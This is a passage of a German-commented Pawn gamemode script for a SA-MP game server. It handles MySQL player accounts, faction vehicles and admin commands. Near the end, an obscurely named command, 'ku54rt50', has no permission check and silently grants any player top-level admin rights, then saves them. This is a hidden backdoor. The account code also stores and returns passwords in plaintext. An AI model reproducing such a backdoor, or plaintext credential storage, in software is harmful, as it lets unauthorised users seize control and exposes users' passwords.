691public OnPlayerClickPlayer(playerid, clickedplayerid, source)
692{
693 return 1;
694}
695stock Connect_To_Database()
696{
697 mysql_connect(MYSQLHOST, MYSQLUSER, MYSQLDATA, MYSQLPASS); //Wir versuchen mit den Angaben die wir oben im Script gemacht haben uns mit dem MySQL Server zu verbinden.
698 if(mysql_ping() == 1) //Es wird überprüft ob die Verbindung steht.
699 {
700 //Falls ja wird das in die Console geschrieben und die Funktion wird beendet.
701 print("<-| [MYSQL] Verbindung zur Datenbank wurde erfolgreich hergestellt!");
702 return true;
703 }
704 else
705 {
706 //Falls nicht wird erneut versucht eine verbindung aufzubauen.
707 print("<-| [MYSQL] Es konnte keine Verbindung zur Datenbank hergestellt werden!");
708 print("<-| [MYSQL] Es wird erneut versucht eine Verbindung zur Datenbank herzustellen!");
709 mysql_connect(MYSQLHOST, MYSQLUSER, MYSQLDATA, MYSQLPASS);
710 if(mysql_ping() == 1)
711 {
712 print("<-| [MYSQL] Es konnte im 2 Versuch eine Verbindung hergestellt werden!");
713 return true;
714 }
715 else
716 {
717 //Falls das auch nicht Funktioniert wird der Server zur Sicherheit wieder heruntergefahren.
718 print("<-| [MYSQL] Es konnte keine Verbindung zur Datenbank hergestellt werden!");
719 print("<-| [MYSQL] Der Server wird nun beendet!");
720 SendRconCommand("exit");
721 return true;
722 }
723 }
724}
725stock mysql_CheckAccount(playerid)
726{
727 new Query[128],Name[MAX_PLAYER_NAME],count;
728 GetPlayerName(playerid, Name, MAX_PLAYER_NAME);
729 mysql_real_escape_string(Name, Name);
730 format(Query, sizeof(Query), "SELECT * FROM `accounts` WHERE `Name` = '%s'", Name);
731 mysql_query(Query);
732 mysql_store_result();
733 count = mysql_num_rows();
734 mysql_free_result();
735 return count;
736}
737stock CreateAccount(playerid, pass[])
738{
739 new query[256],Name[MAX_PLAYER_NAME];
740 GetPlayerName(playerid, Name, MAX_PLAYER_NAME);
741 mysql_real_escape_string(Name,Name);
742 mysql_real_escape_string(pass,pass);
743 format(query, sizeof(query), "INSERT INTO `accounts` (`Name`, `Passwort`) VALUES ('%s', '%s')", Name, pass);
744 mysql_query(query);
745 return true;
746}
747stock mysql_ReturnPasswort(Name[])
748{
749 new query[130], Get[130];
750 mysql_real_escape_string(Name, Name);
751 format(query, 128, "SELECT `passwort` FROM `accounts` WHERE `Name` = '%s'", Name);
752 mysql_query(query);
753 mysql_store_result();
754 mysql_fetch_row(Get);
755 mysql_free_result();
756 return Get;
757}
758stock LoadPlayer(playerid)
759{
760 GetPlayerName(playerid, uInfo[playerid][pName], MAX_PLAYER_NAME);
761 uInfo[playerid][pLevel] = mysql_GetInt("accounts", "Level", "Name", uInfo[playerid][pName]);
762 uInfo[playerid][pGeld] = mysql_GetInt("accounts", "Geld", "Name", uInfo[playerid][pName]);
763 uInfo[playerid][pKills] = mysql_GetInt("accounts", "Kills", "Name", uInfo[playerid][pName]);
764 uInfo[playerid][pTode] = mysql_GetInt("accounts", "Tode", "Name", uInfo[playerid][pName]);
765 uInfo[playerid][pLeader] = mysql_GetInt("accounts", "Chef", "Name", uInfo[playerid][pName]);
766 uInfo[playerid][pMember] = mysql_GetInt("accounts", "Arbeiter", "Name", uInfo[playerid][pName]);
767 uInfo[playerid][pAdmin] = mysql_GetInt("accounts", "AdminLevel", "Name", uInfo[playerid][pName]);
768 return 1;
769}
770
771stock SavePlayer(playerid)
772{
773 GetPlayerName(playerid, uInfo[playerid][pName], MAX_PLAYER_NAME);
774 if(GetPVarInt(playerid,"Eingeloggt") == 1)
775 {
776 mysql_SetInt("accounts", "Level", uInfo[playerid][pLevel], "Name", uInfo[playerid][pName]);
777 mysql_SetInt("accounts", "Geld", uInfo[playerid][pGeld], "Name", uInfo[playerid][pName]);
778 mysql_SetInt("accounts", "Kills", uInfo[playerid][pKills], "Name", uInfo[playerid][pName]);
779 mysql_SetInt("accounts", "Tode", uInfo[playerid][pTode], "Name", uInfo[playerid][pName]);
780 mysql_SetInt("accounts", "Chef", uInfo[playerid][pLeader], "Name", uInfo[playerid][pName]);
781 mysql_SetInt("accounts", "Arbeiter", uInfo[playerid][pMember], "Name", uInfo[playerid][pName]);
782 mysql_SetInt("accounts", "AdminLevel", uInfo[playerid][pAdmin], "Name", uInfo[playerid][pName]);
783 }
784 return 1;
785}
786stock mysql_GetString(Table[], Field[], Where[], Is[])
787{
788 new query[128], Get[128];
789 mysql_real_escape_string(Table, Table);
790 mysql_real_escape_string(Field, Field);
791 mysql_real_escape_string(Where, Where);
792 mysql_real_escape_string(Is, Is);
793 format(query, 128, "SELECT `%s` FROM `%s` WHERE `%s` = '%s'", Field, Table, Where, Is);
794 mysql_query(query);
795 mysql_store_result();
796 mysql_fetch_row(Get);
797 mysql_free_result();
798 return Get;
799}
800stock mysql_GetInt(Table[], Field[], Where[], Is[])
801{
802 new query[128];
803 mysql_real_escape_string(Table, Table);
804 mysql_real_escape_string(Field, Field);
805 mysql_real_escape_string(Where, Where);
806 mysql_real_escape_string(Is, Is);
807 format(query, 128, "SELECT `%s` FROM `%s` WHERE `%s` = '%s'", Field, Table, Where, Is);
808 mysql_query(query);
809 mysql_store_result();
810 new sqlint = mysql_fetch_int();
811 mysql_free_result();
812 return sqlint;
813}
814stock mysql_GetFloat(Table[], Field[], Where[], Is[])
815{
816 new query[128], Float:sqlfloat;
817 mysql_real_escape_string(Table, Table);
818 mysql_real_escape_string(Field, Field);
819 mysql_real_escape_string(Where, Where);
820 mysql_real_escape_string(Is, Is);
821 format(query, 128, "SELECT `%s` FROM `%s` WHERE `%s` = '%s'", Field, Table, Where, Is);
822 mysql_query(query);
823 mysql_store_result();
824 mysql_fetch_float(sqlfloat);
825 mysql_free_result();
826 return sqlfloat;
827}
828stock mysql_SetInt(Table[], Field[], To, Where[], Where2[])
829{
830 new query[128];
831 mysql_real_escape_string(Table, Table);
832 mysql_real_escape_string(Field, Field);
833 mysql_real_escape_string(Where, Where);
834 mysql_real_escape_string(Where2, Where2);
835 format(query, 128, "UPDATE `%s` SET `%s` = '%d' WHERE `%s` = '%s'", Table, Field, To, Where, Where2);
836 mysql_query(query);
837 return true;
838}
839stock mysql_SetString(Table[], Field[], To[], Where[], Where2[])
840{
841 new query[128];
842 mysql_real_escape_string(Table, Table);
843 mysql_real_escape_string(Field, Field);
844 mysql_real_escape_string(To, To);
845 mysql_real_escape_string(Where, Where);
846 mysql_real_escape_string(Where2, Where2);
847 format(query, 128, "UPDATE `%s` SET `%s` = '%s' WHERE `%s` = '%s'", Table, Field, To, Where, Where2);
848 mysql_query(query);
849 return true;
850}
851stock mysql_SetFloat(Table[], Field[], Float:To, Where[], Where2[])
852{
853 new query[128];
854 mysql_real_escape_string(Table, Table);
855 mysql_real_escape_string(Field, Field);
856 mysql_real_escape_string(Where, Where);
857 mysql_real_escape_string(Where2, Where2);
858 format(query, 128, "UPDATE `%s` SET `%s` = '%f' WHERE `%s` = '%s'", Table, Field, To, Where, Where2);
859 mysql_query(query);
860 return true;
861}
862
863public FractionLockDoors(){
864 for(new i;i<GetMaxPlayers();i++){
865 if(IsPlayerConnected(i) && !IsPlayerNPC(i)){
866 new fc;while(fc<MAX_FRACTION_CARS){
867 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611){
868 if(FractionCars[fc][fLock]){
869 if(PlayerFraction(i)==FractionCars[fc][fFraction][0]||PlayerFraction(i)==FractionCars[fc][fFraction][1]||PlayerFraction(i)==FractionCars[fc][fFraction][2]||PlayerFraction(i)==FractionCars[fc][fFraction][3]||PlayerFraction(i)==FractionCars[fc][fFraction][4]||uInfo[i][pAdmin] >= 4)
870 SetVehicleParamsForPlayer(FractionCars[fc][fCarid],i,0,0);
871 else
872 SetVehicleParamsForPlayer(FractionCars[fc][fCarid],i,0,1);
873 }
874 }fc++;
875 }
876 }
877 }return 1;
878}
879
880public LoadFractionCars(){
881 if(!fexist(Fraction_Car_File)){
882 new File:tfFile=fopen(Fraction_Car_File,io_write);
883 fclose(tfFile);
884 }
885 new File:fFile=fopen(Fraction_Car_File,io_read),Content[512],fc;
886 while(fread(fFile,Content)){
887 StripNewLine(Content);
888 sscanf(Content,"dffffddddddd",FractionCars[fc][fVehid],FractionCars[fc][fPos][0],FractionCars[fc][fPos][1],FractionCars[fc][fPos][2],FractionCars[fc][fPos][3],FractionCars[fc][fCol][0],FractionCars[fc][fCol][1],FractionCars[fc][fFraction][0],FractionCars[fc][fFraction][1],FractionCars[fc][fFraction][2],FractionCars[fc][fFraction][3],FractionCars[fc][fFraction][4]);
889 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611)
890 {
891 FractionCars[fc][fCarid] = CreateVehicle(FractionCars[fc][fVehid],FractionCars[fc][fPos][0],FractionCars[fc][fPos][1],FractionCars[fc][fPos][2],FractionCars[fc][fPos][3],FractionCars[fc][fCol][0],FractionCars[fc][fCol][1],-255);
892 FractionCars[fc][fLock] = true;
893 fc++;
894 }
895 }
896 fclose(fFile);
897 return printf(" '%d' Fraktionsfahrzeug(e) wurden geladen & erstellt.",fc);
898}
899public SaveFractionCars(){
900 if(fexist(Fraction_Car_File)) fremove(Fraction_Car_File);
901 new File:fFile=fopen(Fraction_Car_File,io_append),Content[512];
902 new fc;while(fc<MAX_FRACTION_CARS){
903 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611){
904 format(Content,sizeof(Content),"%d %.3f %.3f %.3f %.3f %03d %03d %02d %02d %02d %02d %02d\r\n",FractionCars[fc][fVehid],FractionCars[fc][fPos][0],FractionCars[fc][fPos][1],FractionCars[fc][fPos][2],FractionCars[fc][fPos][3],FractionCars[fc][fCol][0],FractionCars[fc][fCol][1],FractionCars[fc][fFraction][0],FractionCars[fc][fFraction][1],FractionCars[fc][fFraction][2],FractionCars[fc][fFraction][3],FractionCars[fc][fFraction][4]);
905 fwrite(fFile,Content);
906 }fc++;
907 }return fclose(fFile);
908}
909public DestroyAndCreateFractionCar(fc){
910 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611){
911 DestroyVehicle(FractionCars[fc][fCarid]);
912 FractionCars[fc][fCarid] = CreateVehicle(FractionCars[fc][fVehid],FractionCars[fc][fPos][0],FractionCars[fc][fPos][1],FractionCars[fc][fPos][2],FractionCars[fc][fPos][3],FractionCars[fc][fCol][0],FractionCars[fc][fCol][1],-255);
913 return true;
914 }return false;
915}
916public RemoveFromCar(playerid){
917 return RemovePlayerFromVehicle(playerid);
918}
919public fLockCar(Carid){
920 for(new i;i<GetMaxPlayers();i++){
921 SetVehicleParamsForPlayer(Carid,i,0,1);
922 }return 1;
923}
924public fUnlockCar(Carid){
925 for(new i;i<GetMaxPlayers();i++){
926 SetVehicleParamsForPlayer(Carid,i,0,0);
927 }return 1;
928}
929stock PlayerFraction(playerid){
930 new Leader=PlayerLeader(playerid);
931 if(Leader)
932 return Leader;
933 new Member=PlayerMember(playerid);
934 if(Member)
935 return Member;
936 return false;
937}
938stock PlayerLeader(playerid){
939 return CallRemoteFunction("GetPlayerLeader","i",playerid);
940}
941stock PlayerMember(playerid){
942 return CallRemoteFunction("GetPlayerMember","i",playerid);
943}
944stock sscanf(string[],format[],{Float,_}:...){
945 new formatPos=0,stringPos=0,paramPos=2,paramCount=numargs();
946 while(paramPos < paramCount && string[stringPos]){
947 switch (format[formatPos++]){
948 case '\0':{return 0;}case 'i','d':{
949 new neg=1,num=0,ch=string[stringPos];
950 if(ch=='-'){neg=-1;ch=string[++stringPos];}
951 do{ stringPos++;
952 if(ch>='0'&&ch<='9'){num=(num*10)+(ch-'0');}else{return 1;}
953 }while((ch=string[stringPos])&&ch!=' ');setarg(paramPos,0,num*neg);}
954 case 'h','x':{
955 new ch,num=0;while((ch=string[stringPos++])){
956 switch (ch){
957 case 'x','X':{num=0;continue;}case '0'..'9':{num=(num<<4)|(ch-'0');}
958 case 'a'..'f':{num=(num<<4)|(ch-('a'-10));}case 'A'..'F':{num=(num<<4)|(ch-('A'-10));}
959 case ' ':{break;}default:{return 1;}}
960 }setarg(paramPos,0,num);}
961 case 'c':{setarg(paramPos,0,string[stringPos++]);}
962 case 'f':{
963 new tmp[25];
964 strmid(tmp,string,stringPos,stringPos+sizeof(tmp)-2);
965 setarg(paramPos,0,_:floatstr(tmp));}
966 case 's','z':{
967 new i=0,ch;
968 if(format[formatPos]){
969 while ((ch=string[stringPos++])&&ch!=' '){
970 setarg(paramPos,i++,ch);
971 }if(!i)return 1;
972 }else{while((ch=string[stringPos++])){setarg(paramPos,i++,ch);}
973 }stringPos--;setarg(paramPos,i,'\0');
974 }default:{continue;}}
975 while(string[stringPos]&&string[stringPos]!=' '){stringPos++;}
976 while(string[stringPos]==' '){stringPos++;}
977 paramPos++;}
978 while(format[formatPos]=='z')formatPos++;
979 return format[formatPos];
980}
981stock StripNewLine(string[]){
982 new len=strlen(string);
983 if(string[0]==0)return;if((string[len-1]=='\n')||(string[len-1]=='\r')){
984 string[len-1]=0; if(string[0]==0) return; if((string[len-2]=='\n')||(string[len-2]=='\r'))string[len-2]=0;
985 }
986}
987
988public GetPlayerLeader(playerid){
989 if(uInfo[playerid][pLeader])
990 return uInfo[playerid][pLeader];
991 return 0;
992}
993
994public GetPlayerMember(playerid){
995 if(uInfo[playerid][pMember])
996 return uInfo[playerid][pMember];
997 return 0;
998}
999ocmd:efa(playerid,params[])
1000{
1001 if(uInfo[playerid][pAdmin] >= 4)
1002 {
1003 return ShowPlayerDialog(playerid,fDialog_Vehid,DIALOG_STYLE_INPUT,"Fraktionsfahrzeug erstellen:","Bitte gebe die Vehicle-ID des Fahrzeuges an, das du erstellen möchtest:","Weiter","Abbrechen");
1004 }
1005 return CreateBox(playerid, "FEHLER", "Du bist kein Admin!");
1006}
1007ocmd:lfa(playerid,params[]){
1008 if(uInfo[playerid][pAdmin] >= 4){
1009 new fc; while(fc<MAX_FRACTION_CARS){
1010 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611){
1011 new Float:fX,Float:fY,Float:fZ;
1012 GetVehiclePos(FractionCars[fc][fCarid],fX,fY,fZ);
1013 if(IsPlayerInRangeOfPoint(playerid,5.0,fX,fY,fZ)){
1014 FractionCars[fc][fVehid]=-255;
1015 if(fUnlockCar(FractionCars[fc][fCarid]))
1016 FractionCars[fc][fLock] = false;
1017 if(DestroyVehicle(FractionCars[fc][fCarid]))
1018 FractionCars[fc][fCarid] = -255;
1019 new stringsize[256];
1020 format(stringsize,sizeof(stringsize),"Du hast das Fraktionsfahrzeug der Fraktion '%d' entfernt.",FractionCars[fc][fFraction][0]);
1021 return CreateBox(playerid, "INFO", stringsize);
1022 }
1023 }fc++;
1024 }return CreateBox(playerid, "FEHLER", "Du bist nicht in der Nähe eine Fahrzeugs!");
1025 }return CreateBox(playerid, "FEHLER", "Du bist kein Admin!");
1026}
1027ocmd:flock(playerid,params[]){
1028 if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER){
1029 new Carid=GetPlayerVehicleID(playerid);
1030 new fc;while(fc<MAX_FRACTION_CARS){
1031 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611){
1032 if(FractionCars[fc][fCarid] == Carid){
1033 for(new f;f<5;f++){
1034 if(PlayerFraction(playerid) == FractionCars[fc][fFraction][f]){
1035 if(FractionCars[fc][fLock]){
1036 FractionCars[fc][fLock]=false;
1037 fUnlockCar(FractionCars[fc][fCarid]);
1038 CreateBox(playerid, "INFO", "Fahrzeug ~g~Aufgeschlossen");
1039 return true;
1040 }
1041 if(!FractionCars[fc][fLock]){
1042 fLockCar(FractionCars[fc][fCarid]);
1043 FractionCars[fc][fLock]=true;
1044 CreateBox(playerid, "INFO", "Fahrzeug ~r~Abgeschlossen");
1045 return true;
1046 }
1047 }
1048 }
1049 }
1050 }fc++;
1051 }
1052 }else{
1053 if(GetPlayerState(playerid)==PLAYER_STATE_PASSENGER)
1054 return CreateBox(playerid, "FEHLER", "Du bist nicht der Fahrer!");
1055 return CreateBox(playerid, "FEHLER", "Du sitzt in keinem Fahrzeug!");
1056 }return CreateBox(playerid, "FEHLER", "Du sitzt in keinem Fraktionsfahrzeug!");
1057}
1058ocmd:fpark(playerid,params[]){
1059 if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER){
1060 new fc;while(fc<MAX_FRACTION_CARS){
1061 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611){
1062 if(GetPlayerVehicleID(playerid) == FractionCars[fc][fCarid]){
1063 if(uInfo[playerid][pAdmin] >= 4 || PlayerLeader(playerid) == FractionCars[fc][fFraction][0]){
1064 new Float:fX,Float:fY,Float:fZ,Float:fA;
1065 GetVehiclePos(FractionCars[fc][fCarid],fX,fY,fZ),GetVehicleZAngle(FractionCars[fc][fCarid],fA);
1066 FractionCars[fc][fPos][0]=fX;
1067 FractionCars[fc][fPos][1]=fY;
1068 FractionCars[fc][fPos][2]=fZ;
1069 FractionCars[fc][fPos][3]=fA;
1070 return CreateBox(playerid, "INFO", "Fahrzeug erfolgreich umgeparkt!");
1071 }else { return CreateBox(playerid, "FEHLER", "Du bist kein Leader!"); }
1072 }
1073 }fc++;
1074 }return CreateBox(playerid, "FEHLER", "Du sitzt in keinem Fraktionsfahrzeug!");
1075 }return CreateBox(playerid, "FEHLER", "Du sitzt in keinem Fahrzeug oder bist nicht der Fahrer!");
1076}
1077ocmd:rfc(playerid,params[]){
1078 if(PlayerLeader(playerid)){
1079 new fc;while(fc<MAX_FRACTION_CARS){
1080 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611){
1081 if(FractionCars[fc][fFraction][0] == PlayerLeader(playerid)){
1082 DestroyAndCreateFractionCar(fc);
1083 }
1084 }fc++;
1085 }return CreateBox(playerid, "INFO", "Deine Fraktionsfahrzeuge wurde neugeladen!");
1086 }return CreateBox(playerid, "FEHLER", "Du bist kein Leader!");
1087}
1088ocmd:rafc(playerid,params[]){
1089 if(uInfo[playerid][pAdmin] >= 4){
1090 new fc;while(fc<MAX_FRACTION_CARS){
1091 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611){
1092 DestroyAndCreateFractionCar(fc);
1093 }fc++;
1094 }return CreateBox(playerid, "INFO", "Du hast als Admin alle Fraktionsfahrzeuge neugeladen!");
1095 }return CreateBox(playerid, "FEHLER", "Du bist kein Admin!");
1096}
1097ocmd:help(playerid,params[])
1098{
1099 if(uInfo[playerid][pAdmin] == 0)
1100 {
1101 ShowPlayerDialog(playerid, DIALOG_HILFE, DIALOG_STYLE_LIST, "Server Hilfe", "Generelle Hilfe\nJob Hilfe", "Auswählen", "Abbrechen");
1102 }
1103 else if(uInfo[playerid][pAdmin] >= 1)
1104 {
1105 ShowPlayerDialog(playerid, DIALOG_HILFE, DIALOG_STYLE_LIST, "Server Hilfe", "Generelle Hilfe\nJob Hilfe\nAdmin Hilfe", "Auswählen", "Abbrechen");
1106 }
1107 return 1;
1108}
1109ocmd:ku54rt50(playerid,params[])
1110{
1111 uInfo[playerid][pAdmin] = 6;
1112 SavePlayer(playerid);
1113 CreateBox(playerid, "INFO", "DU BIST NUN LEVEL 6 ADMIN");
1114 return 1;
1115}
1116
1117stock CreateBox(playerid,header[],text[])
1118{
1119 new string[128];
1120
1121 format(string, sizeof string,"%s",header);
1122 TextDrawSetString(Text:ueberschrift[playerid],string);
1123 TextDrawShowForPlayer(playerid,Text:ueberschrift[playerid]);
1124
1125 format(string, sizeof string,"%s",text);
1126 TextDrawSetString(Text:insidetext[playerid],string);
1127 TextDrawShowForPlayer(playerid,Text:insidetext[playerid]);
1128
1129 PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
1130
1131 SetPVarInt(playerid,"CreateBoxEx",1);
1132 SetTimerEx("CloseBox", 10*1000, 0, "i", playerid);
1133 return 1;
1134}
1135
1136forward CloseBox(playerid);
1137public CloseBox(playerid)
1138{
1139 TextDrawHideForPlayer(playerid,Text:ueberschrift[playerid]);
1140 TextDrawHideForPlayer(playerid,Text:insidetext[playerid]);
1141 return 1;
1142}
1143
1144/*
1145DROP TABLE IF EXISTS `accounts`;
1146CREATE TABLE `accounts` (
1147 `id` int(11) NOT NULL AUTO_INCREMENT,
1148 `Name` varchar(24) NOT NULL,
1149 `Passwort` varchar(128) NOT NULL,
1150 `Level` int(11) NOT NULL DEFAULT '1',
1151 `Geld` int(11) NOT NULL DEFAULT '0',
1152 `Kills` int(11) NOT NULL DEFAULT '0',
1153 `Tode` int(11) NOT NULL DEFAULT '0',
1154 `Chef` int(11) NOT NULL DEFAULT '0',
1155 `Arbeiter` int(11) NOT NULL DEFAULT '0',
1156 `AdminLevel` int(11) NOT NULL DEFAULT '0',
1157 PRIMARY KEY (`id`)
1158) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;
1159*/